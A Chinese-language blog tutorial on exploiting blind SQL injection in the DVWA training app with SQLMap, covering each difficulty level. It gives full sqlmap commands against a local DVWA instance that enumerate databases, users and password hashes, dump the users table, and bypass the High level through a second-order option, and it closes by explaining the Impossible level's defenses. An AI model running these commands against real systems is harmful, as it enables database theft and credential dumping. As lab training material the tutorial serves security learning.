一、測試前分析
前文<DVWA全等級SQL Injection(Blind)盲注-手工測試過程解析>
通過手工測試的方式詳細分析了SQL Injection(Blind)盲注漏洞的利用過程,本文則利用自動化的工具SQLMap對SQL Injection(Blind)進行漏洞檢測和數據獲取。
手工 VS 自動化:
①手工測試有助於理解整個注入漏洞的利用過程,可以加深技能印象
②自動化工具所檢測的效率相對較高,而且覆蓋的全面性更高,數據獲取的廣度和深度也可以得到更好的發揮
利用SQLMap自動化工具的檢測流程大致如下:
1.判斷是否存在注入點、注入類型
2.獲取DBMS中所有的數據庫名稱
3.獲取Web應用當前連接的數據庫
4.列出數據庫中的所有用戶
5.獲取Web應用當前所操作的用戶
6.列出可連接數據庫的所有賬戶-對應的密碼哈希
7.列出指定數據庫中的所有數據表
8.列出指定數據表中的所有字段(列)
9.導出指定數據表中的列字段進行保存
10.根據導出的數據,驗證數據有效性
二、全等級SQL Injection(Blind)-漏洞利用解析
利用SQLMap工具操作,本文暫不作太過詳細的去拆分細節點,各個等級的服務端代碼在此也不作重復展示。
以下構造SQLMap所需的測試命令時,所需用到的工具還有:瀏覽器自帶的F12查看Request/Response/cookie、Fiddler抓取url/cookie等、Burp攔截url/cookie等數據...
因注入測試是在保持瀏覽器賬戶登錄狀態的前提下進行的,過程中需要保持登錄不退出賬戶,操作命令中需要帶上登錄賬戶的cookie信息--cookie="xxx"
;若過程中有退出了賬戶,則需要重新登錄賬戶,並重新獲取cookie信息,以在SQLMap操作命令中及時更新cookie內容。
【A】Level:Low
1.判斷是否存在注入點、注入的類型
構造命令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch
執行結果:

2.獲取DBMS中所有的數據庫名稱
構造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --dbs
執行結果:

3.獲取Web應用當前連接的數據庫
構造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --current-db
執行結果:

4.列出數據庫中的所有用戶
構造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --users
執行結果:

5.獲取Web應用當前所操作的用戶
構造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --current-user
執行結果:

6.列出可連接數據庫的所有賬戶-對應的密碼哈希
構造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch --passwords
執行結果:

7.列出指定數據庫中的所有數據表
構造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch -D dvwa --tables
執行結果:

8.列出指定數據表中的所有字段(列)
構造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch -D dvwa -T users --columns
執行結果:

9.導出指定數據表中的列字段進行保存
構造指令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch -D dvwa -T users -C "user,password" --dump
執行結果:

10.根據導出的數據,驗證數據有效性
user | password |
---|---|
1337 | charley |
admin | password |
gordonb | abc123 |
pablo | letmein |
smithy | password |
從以上導出的user---password組合中任取一組,回到前端登錄界面進行驗證
登錄界面:http://localhost:8001/dvwa/login.php
用戶密碼:pablo---letmein

【B】Level:Medium
Low等級提交的數據是通過GET請求方式,直接在瀏覽器url中傳遞參數;而Medium等級,所提交的User ID數據是通過POST請求方式,參數是在POST請求體中傳遞。
此時,構造SQLMap操作命令,則需要將url和data分成兩部分分別填寫,同時需要更新cookie信息的取值,如下:
構造命令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch
執行結果:

構造命令:
python2 sqlmap.py -u "http://localhost:8001/dvwa/vulnerabilities/sqli_blind/" --data="id=1&Submit=Submit" --cookie="security=medium; PHPSESSID=rujk4c8mesl5okum32p362dig0" --batch -dbs
執行結果:


......
獲取數據庫其他數據的過程,暫且不繼續往下展示,和Low級別相似。確保SQLMap操作命令中的url、data分離,cookie信息更新為對應等級的cookie值,以及保持賬戶登錄狀態時進行操作即可。
【C】Level:High
- High級別的查詢數據提交的頁面、查詢結果顯示的頁面是分離成了2個不同的窗口分別控制的。即在查詢提交窗口提交數據(POST請求)之后,需要到另外一個窗口進行查看結果(GET請求)。若需獲取請求體中的Form Data數據,則需要在提交數據的窗口中查看網絡請求數據or通過攔截工具獲取
- High級別的查詢提交頁面與查詢結果顯示頁面不是同一個,也沒有執行302跳轉,這樣做的目的是為了防止常規的SQLMap掃描注入測試,因為SQLMap在注入過程中,無法在查詢提交頁面上獲取查詢的結果,沒有了反饋,也就沒辦法進一步注入;但是並不代表High級別不能用SQLMap進行注入測試,此時需要利用其非常規的命令聯合操作,如:
--second-order="xxxurl"
(設置二階響應的結果顯示頁面的url),具體的操作命令可參看==>SQLMap工具使用選項的操作命令&功能
構造命令:
python2 sqlmap.py --url="http://localhost/dvwa/vulnerabilities/sqli_blind/cookie-input.php" --data="id=1&Submit=Submit" --second-order="http://localhost/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1; security=high; PHPSESSID=kpmkm3kphj5cccf7ub43c8e7l4" --batch
執行結果:

【D】Level:Impossible
可以嘗試構造SQLMap命令進行檢測:
python2 sqlmap.py --url="http://localhost/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit&user_token=b95d5f0bb28c4ecd6418c6deed57b4bf#" --cookie="security=impossible; security=impossible; PHPSESSID=p78fd4dlnor8qsrjck9ivg3hj0" --batch
暫未發現注入漏洞

Impossible級別的SQL Injection(Blind):
- impossible.php代碼采用了PDO技術,划清了代碼與數據的界限,有效防御SQL注入
- 只有當返回的查詢結果數量為一個記錄時,才會成功輸出,這樣就有效預防了暴庫
- 利用is_numeric($id)函數來判斷輸入的id是否是數字or數字字符串,滿足條件才知曉query查詢語句
- Anti-CSRF token機制的加入了進一步提高了安全性,session_token是隨機生成的動態值,每次向服務器請求,客戶端都會攜帶最新從服務端已下發的session_token值向服務器請求作匹配驗證,相互匹配才會驗證通過
作者:Fighting_001
鏈接:https://www.jianshu.com/p/ec2ca79e74b2
來源:簡書
著作權歸作者所有。商業轉載請聯系作者獲得授權,非商業轉載請注明出處。